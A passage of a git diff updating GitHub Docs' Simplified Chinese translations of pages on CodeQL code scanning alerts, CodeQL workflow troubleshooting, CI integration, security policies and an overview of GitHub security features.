-As with other pull request checks, you can see full details of the check failure on the **Checks** tab. For more information about configuring and troubleshooting, see "[Configuring {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/configuring-code-scanning)" or "[Troubleshooting the {% data variables.product.prodname_codeql %} workflow](/code-security/secure-coding/troubleshooting-the-codeql-workflow)."
+与其他拉取请求检查一样，您可以在 **Checks（检查）**选项卡上查看检查失败的完整细节。 有关配置和故障排除的详细信息，请参阅“[配置 {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/configuring-code-scanning)”或“[排查 {% data variables.product.prodname_codeql %} 工作流程故障](/code-security/secure-coding/troubleshooting-the-codeql-workflow)”。
 
 ## Viewing an alert on your pull request
 
-You can see any {% data variables.product.prodname_code_scanning %} alerts introduced in a pull request by displaying the **Files changed** tab. Each alert is shown as an annotation on the lines of code that triggered the alert. The severity of the alert is displayed in the annotation. 
+You can see any {% data variables.product.prodname_code_scanning %} alerts introduced in a pull request by displaying the **Files changed** tab. Each alert is shown as an annotation on the lines of code that triggered the alert. The severity of the alert is displayed in the annotation.
 
-![Alert annotation within a pull request diff](/assets/images/help/repository/code-scanning-pr-annotation.png)
+![拉取请求差异中的警报注释](/assets/images/help/repository/code-scanning-pr-annotation.png)
 
-If you have write permission for the repository, some annotations contain links with extra context for the alert. In the example above, from {% data variables.product.prodname_codeql %} analysis, you can click **user-provided value** to see where the untrusted data enters the data flow (this is referred to as the source). In this case you can also view the full path from the source to the code that uses the data (the sink) by clicking **Show paths**. This makes it easy to check whether the data is untrusted or if the analysis failed to recognize a data sanitization step between the source and the sink. For information about analyzing data flow using {% data variables.product.prodname_codeql %}, see "[About data flow analysis](https://codeql.github.com/docs/writing-codeql-queries/about-data-flow-analysis/)."
+如果您拥有仓库的写入权限，则某些注释将包含警报额外上下文的链接。 在上例中，您可以在 {% data variables.product.prodname_codeql %} 分析中单击 **user-provided value（用户提供的值）**，以查看不受信任的数据进入数据流的位置（这被称为源）。 在此例中，您还可以通过单击 **Show paths（显示路径）**来查看从源到使用数据的代码（池）的完整路径。 这样就很容易检查数据是否不受信任，或者分析是否无法识别源与池之间的数据净化步骤。 有关使用 {% data variables.product.prodname_codeql %} 分析数据流的信息，请参阅“[关于数据流分析](https://codeql.github.com/docs/writing-codeql-queries/about-data-flow-analysis/)”。
 
-To see more information about an alert, users with write permission can click the **Show more details** link shown in the annotation. This allows you to see all of the context and metadata provided by the tool in an alert view. In the example below, you can see tags showing the severity, type, and relevant common weakness enumerations (CWEs) for the problem. The view also shows which commit introduced the problem.
+要查看有关警报的更多信息，拥有写入权限的用户可单击注释中所示的 **Show more details（显示更多详情）**链接。 这允许您在警报视图中查看工具提供的所有上下文和元数据。 在下例中，您可以查看显示问题的严重性、类型和相关通用缺陷枚举 (CWE) 的标记。 该视图还显示哪个提交引入了问题。
 
-In the detailed view for an alert, some {% data variables.product.prodname_code_scanning %} tools, like {% data variables.product.prodname_codeql %} analysis, also include a description of the problem and a **Show more** link for guidance on how to fix your code.
+在警报的详细视图中，有些 {% data variables.product.prodname_code_scanning %} 工具，例如 {% data variables.product.prodname_codeql %} 分析，还包括问题描述和 **Show more（显示更多）**链接以指导您如何修复代码。
 
-![Alert description and link to show more information](/assets/images/help/repository/code-scanning-pr-alert.png)
+![显示更多信息的警报说明和链接](/assets/images/help/repository/code-scanning-pr-alert.png)
 
-## Fixing an alert on your pull request
+## 修复拉取请求上的警报
 
-Anyone with push access to a pull request can fix a {% data variables.product.prodname_code_scanning %} alert that's identified on that pull request. If you commit changes to the pull request this triggers a new run of the pull request checks. If your changes fix the problem, the alert is closed and the annotation removed.
+任何对拉取请求具有推送权限的人都可以修复在该拉取请求上已识别的 {% data variables.product.prodname_code_scanning %} 警报。 如果将更改提交到拉取请求，这将触发拉取请求检查的新运行。 如果您的更改修复了问题，则警报将被关闭，注释将被删除。
 
-## Dismissing an alert on your pull request
+## 忽略拉取请求上的警报
 
-An alternative way of closing an alert is to dismiss it. You can dismiss an alert if you don't think it needs to be fixed. {% data reusables.code-scanning.close-alert-examples %} If you have write permission for the repository, the **Dismiss** button is available in code annotations and in the alerts summary. When you click **Dismiss** you will be prompted to choose a reason for closing the alert.
+关闭警报的另一种办法是忽略它。 您可以忽略您认为不需要修复的警报。 {% data reusables.code-scanning.close-alert-examples %} 如果您对仓库有写入权限，则 **Dismiss（忽略）**按钮在代码注释和警报摘要中可用。 单击 **Dismiss（忽略）**时，您将被提示选择关闭警报的原因。
 
-![Choosing a reason for dismissing an alert](/assets/images/help/repository/code-scanning-alert-close-drop-down.png)
+![选择忽略警报的原因](/assets/images/help/repository/code-scanning-alert-close-drop-down.png)
 
 {% data reusables.code-scanning.choose-alert-dismissal-reason %}
 
 {% data reusables.code-scanning.false-positive-fix-codeql %}
 
-For more information about dismissing alerts, see "[Managing {% data variables.product.prodname_code_scanning %} alerts for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository#dismissing-or-deleting-alerts)."
+有关忽略警报的更多信息，请参阅“[管理仓库的 {% data variables.product.prodname_code_scanning %} 警报](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository#dismissing-or-deleting-alerts)”。
diff --git a/translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/troubleshooting-the-codeql-workflow.md b/translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/troubleshooting-the-codeql-workflow.md
index bf886eac2f..92f3ba7c48 100644
--- a/translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/troubleshooting-the-codeql-workflow.md
+++ b/translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/troubleshooting-the-codeql-workflow.md
@@ -110,13 +110,13 @@ If your workflow fails with an error `No source code was seen during the build`
    * Building using a distributed build system external to GitHub Actions, using a daemon process.
    * {% data variables.product.prodname_codeql %} isn't aware of the specific compiler you are using.
 
-  For .NET Framework projects, and for C# projects using either `dotnet build` or `msbuild` that target .NET Core 2, you should specify `/p:UseSharedCompilation=false` in your workflow's `run` step, when you build your code. The `UseSharedCompilation` flag isn't necessary for .NET Core 3.0 and later.
+  For .NET Framework projects, and for C# projects using either `dotnet build` or `msbuild`, you should specify `/p:UseSharedCompilation=false` in your workflow's `run` step, when you build your code.
   
   For example, the following configuration for C# will pass the flag during the first build step.
 
    ``` yaml
    - run: |
-       dotnet build /p:UseSharedCompilation=false 
+       dotnet build /p:UseSharedCompilation=false
    ```
 
   If you encounter another problem with your specific compiler or configuration, contact {% data variables.contact.contact_support %}.
@@ -182,7 +182,7 @@ Analysis time is typically proportional to the amount of code being analyzed. Yo
 
 For compiled languages like Java, C, C++, and C#, {% data variables.product.prodname_codeql %} analyzes all of the code which was built during the workflow run. To limit the amount of code being analyzed, build only the code which you wish to analyze by specifying your own build steps in a `run` block. You can combine specifying your own build steps with using the `paths` or `paths-ignore` filters on the `pull_request` and `push` events to ensure that your workflow only runs when specific code is changed. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#onpushpull_requestpaths)."
 
-For interpreted languages like Go, JavaScript, Python, and TypeScript, that {% data variables.product.prodname_codeql %} analyzes without a specific build, you can specify additional configuration options to limit the amount of code to analyze. For more information, see "[Specifying directories to scan](/code-security/secure-coding/configuring-code-scanning#specifying-directories-to-scan)."
+For languages like Go, JavaScript, Python, and TypeScript, that {% data variables.product.prodname_codeql %} analyzes without compiling the source code, you can specify additional configuration options to limit the amount of code to analyze. For more information, see "[Specifying directories to scan](/code-security/secure-coding/configuring-code-scanning#specifying-directories-to-scan)."
 
 If you split your analysis into multiple workflows as described above, we still recommend that you have at least one workflow which runs on a `schedule` which analyzes all of the code in your repository. Because {% data variables.product.prodname_codeql %} analyzes data flows between components, some complex security behaviors may only be detected on a complete build. 
 
diff --git a/translations/zh-CN/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/about-codeql-code-scanning-in-your-ci-system.md b/translations/zh-CN/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/about-codeql-code-scanning-in-your-ci-system.md
index c8ad424e59..0fce95281f 100644
--- a/translations/zh-CN/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/about-codeql-code-scanning-in-your-ci-system.md
+++ b/translations/zh-CN/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/about-codeql-code-scanning-in-your-ci-system.md
@@ -1,7 +1,7 @@
 ---
-title: About CodeQL code scanning in your CI system
-shortTitle: Code scanning in your CI
-intro: 'You can analyze your code with {% data variables.product.prodname_codeql %} in a third-party continuous integration system and upload the results to {% data variables.product.product_location %}. The resulting {% data variables.product.prodname_code_scanning %} alerts are shown alongside any alerts generated within {% data variables.product.product_name %}.'
+title: 关于 CI 系统中的 CodeQL 代码扫描
+shortTitle: CI 中的代码扫描
+intro: '您可以在第三方持续集成 系统中用 {% data variables.product.prodname_codeql %} 分析您的代码，并将结果上传到 {% data variables.product.product_location %}。 由此产生的 {% data variables.product.prodname_code_scanning %} 警报与 {% data variables.product.product_name %} 内生成的任何警报一起显示。'
 product: '{% data reusables.gated-features.code-scanning %}'
 versions:
   fpt: '*'
@@ -21,12 +21,13 @@ redirect_from:
   - /code-security/secure-coding/about-codeql-code-scanning-in-your-ci-system
   - /code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/about-codeql-code-scanning-in-your-ci-system
 ---
+
 <!--UI-LINK: When GitHub Enterprise Server 3.1+ doesn't have GitHub Actions set up, the Security > Code scanning alerts view links to this article.-->
 
 {% data reusables.code-scanning.beta %}
 {% data reusables.code-scanning.enterprise-enable-code-scanning %}
 
-## About {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} in your CI system
+## 关于 CI 系统中的 {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %}
 
 {% data reusables.code-scanning.about-code-scanning %} For information, see "[About {% data variables.product.prodname_code_scanning %} with {% data variables.product.prodname_codeql %}](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql)."
 
@@ -39,17 +40,17 @@ redirect_from:
 
 {% data reusables.code-scanning.upload-sarif-ghas %}
 
-## About the {% data variables.product.prodname_codeql_cli %}
+## 关于 {% data variables.product.prodname_codeql_cli %}
 
 {% data reusables.code-scanning.what-is-codeql-cli %}
 
-Use the {% data variables.product.prodname_codeql_cli %} to analyze:
+使用 {% data variables.product.prodname_codeql_cli %} 分析：
 
-- Dynamic languages, for example, JavaScript and Python.
-- Compiled languages, for example, C/C++, C# and Java.
-- Codebases written in a mixture of languages.
+- 动态语言，例如 JavaScript 和 Python。
+- 编译的语言，例如 C/C++、C# 和 Java。
+- 以多种语言编写的代码库。
 
-For more information, see "[Installing {% data variables.product.prodname_codeql_cli %} in your CI system](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system)."
+更多信息请参阅“[在 CI 系统中安装 {% data variables.product.prodname_codeql_cli %}](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system)”。
 
 {% data reusables.code-scanning.licensing-note %}
 
@@ -66,28 +67,28 @@ For more information, see "[Installing {% data variables.product.prodname_codeql
 
 <!--Content for GHES 3.1 only. Both CodeQL CLI and CodeQL runner are available -->
 {% ifversion ghes = 3.1 %}
-You add the {% data variables.product.prodname_codeql_cli %} or the {% data variables.product.prodname_codeql_runner %} to your third-party system, then call the tool to analyze code and upload the SARIF results to {% data variables.product.product_name %}. The resulting {% data variables.product.prodname_code_scanning %} alerts are shown alongside any alerts generated within {% data variables.product.product_name %}.
+将 {% data variables.product.prodname_codeql_cli %} 或 {% data variables.product.prodname_codeql_runner %} 添加到第三方系统，然后调用工具分析代码并将 SARIF 结果上传到 {% data variables.product.product_name %}。 由此产生的 {% data variables.product.prodname_code_scanning %} 警报与 {% data variables.product.product_name %} 内生成的任何警报一起显示。
 
 {% data reusables.code-scanning.upload-sarif-ghas %}
 
-## Comparing {% data variables.product.prodname_codeql_cli %} and {% data variables.product.prodname_codeql_runner %}
+## 比较 {% data variables.product.prodname_codeql_cli %}与 {% data variables.product.prodname_codeql_runner %}
 
 {% data reusables.code-scanning.what-is-codeql-cli %}
 
-The {% data variables.product.prodname_codeql_runner %} is a command-line tool that uses the {% data variables.product.prodname_codeql_cli %} to analyze code and upload the results to {% data variables.product.product_name %}. The tool mimics the analysis run natively within {% data variables.product.product_name %} using actions. The runner is able to integrate with more complex build environments than the CLI, but this ability makes it more difficult and error-prone to set up. It is also more difficult to debug any problems. Generally, it is better to use the {% data variables.product.prodname_codeql_cli %} directly unless it doesn't support your use case.
+{% data variables.product.prodname_codeql_runner %} 是一个命令行工具，它使用 {% data variables.product.prodname_codeql_cli %} 分析代码并将结果上传到 {% data variables.product.product_name %}。 该工具使用操作在 {% data variables.product.product_name %} 内本地模拟分析运行。 运行器能够集成比 CLI 更复杂的构建环境，但这种能力会使设置更加困难和容易发生错误。 调试任何问题也更加困难。 一般情况下，最好直接使用 {% data variables.product.prodname_codeql_cli %}，除非它不支持您的用例。
 
-Use the {% data variables.product.prodname_codeql_cli %} to analyze:
+使用 {% data variables.product.prodname_codeql_cli %} 分析：
 
-- Dynamic languages, for example, JavaScript and Python.
-- Codebases with a compiled language that can be built with a single command or by running a single script.
+- 动态语言，例如 JavaScript 和 Python。
+- 具有编译语言的代码库，可以用单个命令或运行单个脚本来构建。
 
-For more information, see "[Installing {% data variables.product.prodname_codeql_cli %} in your CI system](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system)."
+更多信息请参阅“[在 CI 系统中安装 {% data variables.product.prodname_codeql_cli %}](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system)”。
 
 {% data reusables.code-scanning.use-codeql-runner-not-cli %}
 
 {% data reusables.code-scanning.deprecation-codeql-runner %}
 
-For more information, see "[Running {% data variables.product.prodname_codeql_runner %} in your CI system](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)."
+更多信息请参阅“[在 CI 系统中运行 {% data variables.product.prodname_codeql_runner %}](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)”。
 
 {% endif %}
 
@@ -95,9 +96,9 @@ For more information, see "[Running {% data variables.product.prodname_codeql_ru
 {% ifversion ghes = 3.0 %}
 {% data reusables.code-scanning.upload-sarif-ghas %}
 
-You add the {% data variables.product.prodname_codeql_runner %} to your third-party system, then call the tool to analyze code and upload the SARIF results to {% data variables.product.product_name %}. The resulting {% data variables.product.prodname_code_scanning %} alerts are shown alongside any alerts generated within {% data variables.product.product_name %}.
+将 {% data variables.product.prodname_codeql_runner %} 添加到第三方系统，然后调用工具分析代码并将 SARIF 结果上传到 {% data variables.product.product_name %}。 由此产生的 {% data variables.product.prodname_code_scanning %} 警报与 {% data variables.product.product_name %} 内生成的任何警报一起显示。
 
 {% data reusables.code-scanning.deprecation-codeql-runner %}
 
-To set up code scanning in your CI system, see "[Running {% data variables.product.prodname_codeql_runner %} in your CI system](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)."
+要在 CI 系统中设置代码扫描，请参阅“[在 CI 系统中运行 {% data variables.product.prodname_codeql_runner %}](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)”。
 {% endif %}
diff --git a/translations/zh-CN/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/migrating-from-the-codeql-runner-to-codeql-cli.md b/translations/zh-CN/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/migrating-from-the-codeql-runner-to-codeql-cli.md
index c2c3020329..5f80df6908 100644
--- a/translations/zh-CN/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/migrating-from-the-codeql-runner-to-codeql-cli.md
+++ b/translations/zh-CN/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/migrating-from-the-codeql-runner-to-codeql-cli.md
@@ -16,10 +16,9 @@ topics:
 
 # Migrating from the {% data variables.product.prodname_codeql_runner %} to the {% data variables.product.prodname_codeql_cli %}
 
-The {% data variables.product.prodname_codeql_runner %} is being deprecated. You can use the {% data variables.product.prodname_codeql_cli %} version 2.6.2 and greater instead.
-This document describes how to migrate common workflows from the {% data variables.product.prodname_codeql_runner %} to the {% data variables.product.prodname_codeql_cli %}.
+The {% data variables.product.prodname_codeql_runner %} is being deprecated. You can use the {% data variables.product.prodname_codeql_cli %} version 2.6.2 and greater instead. This document describes how to migrate common workflows from the {% data variables.product.prodname_codeql_runner %} to the {% data variables.product.prodname_codeql_cli %}.
 
-## Installation
+## 安装
 
 Download the **{% data variables.product.prodname_codeql %} bundle** from the [`github/codeql-action` repository](https://github.com/github/codeql-action/releases). This bundle contains the {% data variables.product.prodname_codeql_cli %} and the standard {% data variables.product.prodname_codeql %} queries and libraries.
 
@@ -334,8 +333,7 @@ CLI:
 
 ### Multiple languages using autobuild (C++, Python)
 
-This example is not strictly possible with the {% data variables.product.prodname_codeql_runner %}.
-Only one language (the compiled language with the most files) will be analyzed.
+This example is not strictly possible with the {% data variables.product.prodname_codeql_runner %}. Only one language (the compiled language with the most files) will be analyzed.
 
 Runner:
 ```bash
diff --git a/translations/zh-CN/content/code-security/getting-started/adding-a-security-policy-to-your-repository.md b/translations/zh-CN/content/code-security/getting-started/adding-a-security-policy-to-your-repository.md
index ff470708a7..a597703230 100644
--- a/translations/zh-CN/content/code-security/getting-started/adding-a-security-policy-to-your-repository.md
+++ b/translations/zh-CN/content/code-security/getting-started/adding-a-security-policy-to-your-repository.md
@@ -1,6 +1,6 @@
 ---
-title: Adding a security policy to your repository
-intro: You can give instructions for how to report a security vulnerability in your project by adding a security policy to your repository.
+title: 添加安全政策到仓库
+intro: 您可以为仓库添加安全政策，说明如何报告项目中的安全漏洞。
 redirect_from:
   - /articles/adding-a-security-policy-to-your-repository
   - /github/managing-security-vulnerabilities/adding-a-security-policy-to-your-repository
@@ -16,50 +16,48 @@ topics:
   - Vulnerabilities
   - Repositories
   - Health
-shortTitle: Add a security policy
+shortTitle: 添加安全策略
 ---
 
-## About security policies
+## 关于安全政策
 
-To give people instructions for reporting security vulnerabilities in your project,{% ifversion fpt or ghes > 3.0 or ghec %} you can add a _SECURITY.md_ file to your repository's root, `docs`, or `.github` folder.{% else %} you can add a _SECURITY.md_ file to your repository's root, or `docs` folder.{% endif %} When someone creates an issue in your repository, they will see a link to your project's security policy.
+要向人说明如何报告项目中的安全漏洞，{% ifversion fpt or ghes > 3.0 or ghec %} 您可以将 _SECURITY.md_ 文件添加到仓库的根目录、`docs` 或 `.github` 文件夹。{% else %} 您可以将 _SECURITY.md_ 文件添加到仓库的根目录或 `docs` 文件夹。{% endif %} 当有人在您的仓库中创建议题时，他们将看到项目安全政策的链接。
 
 {% ifversion not ghae %}
 <!-- no public repos in GHAE -->
-You can create a default security policy for your organization or user account. For more information, see "[Creating a default community health file](/communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file)."
+您可以为组织或用户帐户创建默认的安全政策。 更多信息请参阅“[创建默认社区健康文件](/communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file)”。
 {% endif %}
 
 {% tip %}
 
-**Tip:** To help people find your security policy, you can link to your _SECURITY.md_ file from other places in your repository, such as your README file. For more information, see "[About READMEs](/articles/about-readmes)."
+**提示：**为帮助人们查找安全政策，您可以从仓库中的其他位置（如自述文件）链接到 _SECURITY.md_ 文件。 更多信息请参阅“[关于自述文件](/articles/about-readmes)”。
 
 {% endtip %}
 
 {% ifversion fpt or ghec %}
-After someone reports a security vulnerability in your project, you can use {% data variables.product.prodname_security_advisories %} to disclose, fix, and publish information about the vulnerability. For more information about the process of reporting and disclosing vulnerabilities in {% data variables.product.prodname_dotcom %}, see "[About coordinated disclosure of security vulnerabilities](/code-security/security-advisories/about-coordinated-disclosure-of-security-vulnerabilities#about-reporting-and-disclosing-vulnerabilities-in-projects-on-github)." For more information about {% data variables.product.prodname_security_advisories %}, see "[About {% data variables.product.prodname_security_advisories %}](/github/managing-security-vulnerabilities/about-github-security-advisories)."
+当有人报告您的项目中的安全漏洞后，您可以使用 {% data variables.product.prodname_security_advisories %} 披露、修复和发布关于该漏洞的信息。 有关 {% data variables.product.prodname_dotcom %} 中报告和披露漏洞的过程的更多信息，请参阅“[关于协调披露安全漏洞](/code-security/security-advisories/about-coordinated-disclosure-of-security-vulnerabilities#about-reporting-and-disclosing-vulnerabilities-in-projects-on-github)”。 有关 {% data variables.product.prodname_security_advisories %} 的更多信息，请参阅“[关于 {% data variables.product.prodname_security_advisories %}](/github/managing-security-vulnerabilities/about-github-security-advisories)”。
 
 {% data reusables.repositories.github-security-lab %}
 {% endif %}
 {% ifversion ghes > 3.0 or ghae %}
 <!-- alternative to the content about GitHub Security Advisories in the dotcom article -->
-By making security reporting instructions clearly available, you make it easy for your users to report any security vulnerabilities they find in your repository using your preferred communication channel.
+通过创建明确的安全报告说明，用户可以轻松地使用您喜欢的通信通道报告仓库中发现的任何安全漏洞。
 {% endif %}
 
-## Adding a security policy to your repository
+## 添加安全政策到仓库
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-security %}
-3. In the left sidebar, click **Security policy**.
-  ![Security policy tab](/assets/images/help/security/security-policy-tab.png)
-4. Click **Start setup**.
-  ![Start setup button](/assets/images/help/security/start-setup-security-policy-button.png)
-5. In the new _SECURITY.md_ file, add information about supported versions of your project and how to report a vulnerability.
+3. 在左侧边栏中，单击 **Security policy（安全策略）**。 ![安全策略选项卡](/assets/images/help/security/security-policy-tab.png)
+4. 单击 **Start setup（开始设置）**。 ![开始设置按钮](/assets/images/help/security/start-setup-security-policy-button.png)
+5. 在新的 _SECURITY.md_ 文件中，添加关于项目受支持版本以及如何报告漏洞的信息。
 {% data reusables.files.write_commit_message %}
 {% data reusables.files.choose-commit-email %}
 {% data reusables.files.choose_commit_branch %}
 {% data reusables.files.propose_file_change %}
 
-## Further reading
+## 延伸阅读
 
-- "[Securing your repository](/code-security/getting-started/securing-your-repository)"{% ifversion not ghae %}
-- "[Setting up your project for healthy contributions](/communities/setting-up-your-project-for-healthy-contributions)"{% endif %}{% ifversion fpt or ghec %}
+- "[保护您的仓库](/code-security/getting-started/securing-your-repository)"{% ifversion not ghae %}
+- "[设置健康参与的项目](/communities/setting-up-your-project-for-healthy-contributions)"{% endif %}{% ifversion fpt or ghec %}
 - [{% data variables.product.prodname_security %}]({% data variables.product.prodname_security_link %}){% endif %}
diff --git a/translations/zh-CN/content/code-security/getting-started/github-security-features.md b/translations/zh-CN/content/code-security/getting-started/github-security-features.md
index 174275d178..f9afc594a9 100644
--- a/translations/zh-CN/content/code-security/getting-started/github-security-features.md
+++ b/translations/zh-CN/content/code-security/getting-started/github-security-features.md
@@ -1,6 +1,6 @@
 ---
-title: GitHub security features
-intro: 'An overview of {% data variables.product.prodname_dotcom %} security features.'
+title: GitHub 安全功能
+intro: '{% data variables.product.prodname_dotcom %} 安全功能概述。'
 versions:
   fpt: '*'
   ghes: '*'
@@ -14,33 +14,32 @@ topics:
   - Advanced Security
 ---
 
-## About {% data variables.product.prodname_dotcom %}'s security features
+## 关于 {% data variables.product.prodname_dotcom %} 安全功能
 
-{% data variables.product.prodname_dotcom %} has security features that help keep code and secrets secure in repositories and across organizations. Some features are available for all repositories and others are only available {% ifversion fpt or ghec %}for public repositories and for repositories {% endif %}with a {% data variables.product.prodname_GH_advanced_security %} license.
+{% data variables.product.prodname_dotcom %} 具有安全功能，有助于在仓库和组织间保持代码和秘密安全。 {% data reusables.advanced-security.security-feature-availability %}
 
-The {% data variables.product.prodname_advisory_database %} contains a curated list of security vulnerabilities that you can view, search, and filter. {% data reusables.security-advisory.link-browsing-advisory-db %}
+{% data variables.product.prodname_advisory_database %} 包含您可以查看、搜索和过滤的安全漏洞列表。 {% data reusables.security-advisory.link-browsing-advisory-db %}
 
 {% ifversion fpt or ghes or ghae-issue-4864 or ghec %}
-## Available for all repositories
+## 适用于所有仓库
 {% endif %}
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-### Security policy
-  
-Make it easy for your users to confidentially report security vulnerabilities they've found in your repository. For more information, see "[Adding a security policy to your repository](/code-security/getting-started/adding-a-security-policy-to-your-repository)."
+### 安全策略
+
+让您的用户能够轻松地秘密报告他们在仓库中发现的安全漏洞。 更多信息请参阅“[添加安全政策到仓库](/code-security/getting-started/adding-a-security-policy-to-your-repository)”。
 {% endif %}
 
 {% ifversion fpt or ghec %}
-### Security advisories
+### 安全通告
 
-Privately discuss and fix security vulnerabilities in your repository's code. You can then publish a security advisory to alert your community to the vulnerability and encourage community members to upgrade. For more information, see "[About {% data variables.product.prodname_security_advisories %}](/github/managing-security-vulnerabilities/about-github-security-advisories)."
+私下讨论并修复仓库代码中的安全漏洞。 然后，您可以发布安全通告，提醒您的社区注意漏洞并鼓励社区成员升级。 更多信息请参阅“[关于 {% data variables.product.prodname_security_advisories %}](/github/managing-security-vulnerabilities/about-github-security-advisories)”。
 
 {% endif %}
 {% ifversion fpt or ghec or ghes > 3.2 %}
 
-### {% data variables.product.prodname_dependabot_alerts %} and security updates
+### {% data variables.product.prodname_dependabot_alerts %} 和安全更新
 
-View alerts about dependencies that are known to contain security vulnerabilities, and choose whether to have pull requests generated automatically to update these dependencies. For more information, see "[About alerts for vulnerable dependencies](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies)"
-and "[About {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/about-dependabot-security-updates)."
+查看有关已知包含安全漏洞的依赖项的警报，并选择是否自动生成拉取请求以更新这些依赖项。 更多信息请参阅“[关于漏洞依赖项的警报](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies)”和“[关于 {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/about-dependabot-security-updates)”。
 {% endif %}
 
 {% ifversion ghes < 3.3 or ghae-issue-4864 %}
@@ -48,42 +47,42 @@ and "[About {% data variables.product.prodname_dependabot_security_updates %}](/
 
 {% data reusables.dependabot.dependabot-alerts-beta %}
 
-View alerts about dependencies that are known to contain security vulnerabilities, and manage these alerts. For more information, see "[About alerts for vulnerable dependencies](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies)."
+查看有关已知包含安全漏洞的依赖项的警报，并管理这些警报。 更多信息请参阅“[关于易受攻击的依赖项的警报](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies)”。
 {% endif %}
 
 {% ifversion fpt or ghec or ghes > 3.2 %}
-### {% data variables.product.prodname_dependabot %} version updates
+### {% data variables.product.prodname_dependabot %} 版本更新
 
-Use {% data variables.product.prodname_dependabot %} to automatically raise pull requests to keep your dependencies up-to-date. This helps reduce your exposure to older versions of dependencies. Using newer versions makes it easier to apply patches if security vulnerabilities are discovered, and also makes it easier for {% data variables.product.prodname_dependabot_security_updates %} to successfully raise pull requests to upgrade vulnerable dependencies. For more information, see "[About {% data variables.product.prodname_dependabot_version_updates %}](/github/administering-a-repository/about-dependabot-version-updates)."
+使用 {% data variables.product.prodname_dependabot %} 自动提出拉取请求以保持依赖项的更新。 这有助于减少您暴露于旧版本依赖项。 如果发现安全漏洞，使用更新后的版本就更容易打补丁，{% data variables.product.prodname_dependabot_security_updates %} 也更容易成功地提出拉取请求以升级有漏洞的依赖项。 更多信息请参阅“[关于 {% data variables.product.prodname_dependabot_version_updates %}](/github/administering-a-repository/about-dependabot-version-updates)”。
 {% endif %}
 
 {% ifversion fpt or ghes or ghae-issue-4864 or ghec %}
-### Dependency graph
-The dependency graph allows you to explore the ecosystems and packages that your repository depends on and the repositories and packages that depend on your repository.
+### 依赖关系图
+依赖关系图允许您探索仓库所依赖的生态系统和包，以及依赖于您的仓库的仓库和包。
 
-You can find the dependency graph on the **Insights** tab for your repository. For more information, see "[About the dependency graph](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph)."
+您可以在仓库的 **Insights（洞察）**选项卡上找到依赖项图。 更多信息请参阅“[关于依赖关系图](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph)”。
 {% endif %}
 
-## Available {% ifversion fpt or ghec %}for public repositories and for repositories {% endif %}with {% data variables.product.prodname_advanced_security %}
+## Available with {% data variables.product.prodname_GH_advanced_security %}
 
-{% ifversion fpt or ghes or ghec %}
-These features are available {% ifversion fpt or ghec %}for all public repositories, and for private repositories owned by organizations with {% else %}if you have {% endif %}an {% data variables.product.prodname_advanced_security %} license. {% data reusables.advanced-security.more-info-ghas %}
-{% endif %}
+{% data reusables.advanced-security.ghas-availability %}
 
-### {% data variables.product.prodname_code_scanning_capc %} alerts
+### {% data variables.product.prodname_code_scanning_capc %}
 
-Automatically detect security vulnerabilities and coding errors in new or modified code. Potential problems are highlighted, with detailed information, allowing you to fix the code before it's merged into your default branch. For more information, see "[About code scanning](/github/finding-security-vulnerabilities-and-errors-in-your-code/about-code-scanning)."
+自动检测新代码或修改代码中的安全漏洞和编码错误。 潜在的问题被高亮显示，并附有详细信息，允许您在将代码合并到默认分支之前修复它。 更多信息请参阅“[关于代码扫描](/github/finding-security-vulnerabilities-and-errors-in-your-code/about-code-scanning)”。
 
-### {% data variables.product.prodname_secret_scanning_caps %} alerts
+### {% data variables.product.prodname_secret_scanning_caps %}
 
